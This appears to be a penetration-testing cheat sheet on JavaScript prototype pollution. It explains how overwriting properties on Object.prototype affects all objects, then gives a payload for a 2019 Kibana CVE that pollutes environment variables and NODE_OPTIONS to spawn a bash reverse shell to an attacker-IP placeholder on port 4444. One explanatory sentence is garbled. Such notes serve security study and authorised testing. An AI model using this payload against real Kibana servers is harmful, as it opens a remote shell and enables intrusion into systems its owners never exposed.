killchain-compendium/Exploits/Web/Prototype Pollution JS.md

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# Prototype Pollution
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Overwrite built in properties, like constructor, toString of an object.
Any other instance inherits properties from `Object.__proto__`. toString() is
inherited by all objects.
That means if the `toString()` functions is overwritten it is changed in all
other objects as well.
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## Usage
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Access to prototype can be gained inside an object, as an example
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```javascript
obj.__proto__
Object.prototype
```
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Create an object
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```javascript
let obj = {}
```
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Create properties inside `__proto__`.
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```javascript
obj.__proto__.isAdmin = true
```
### Kibana CVE 2019
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A concrete example is a Kibana prototype pollution from CVE from 2019. Write
reverse bash into variables so they get
Therefore Use the following node functions
* `require`
* `eval`
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```javascript
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```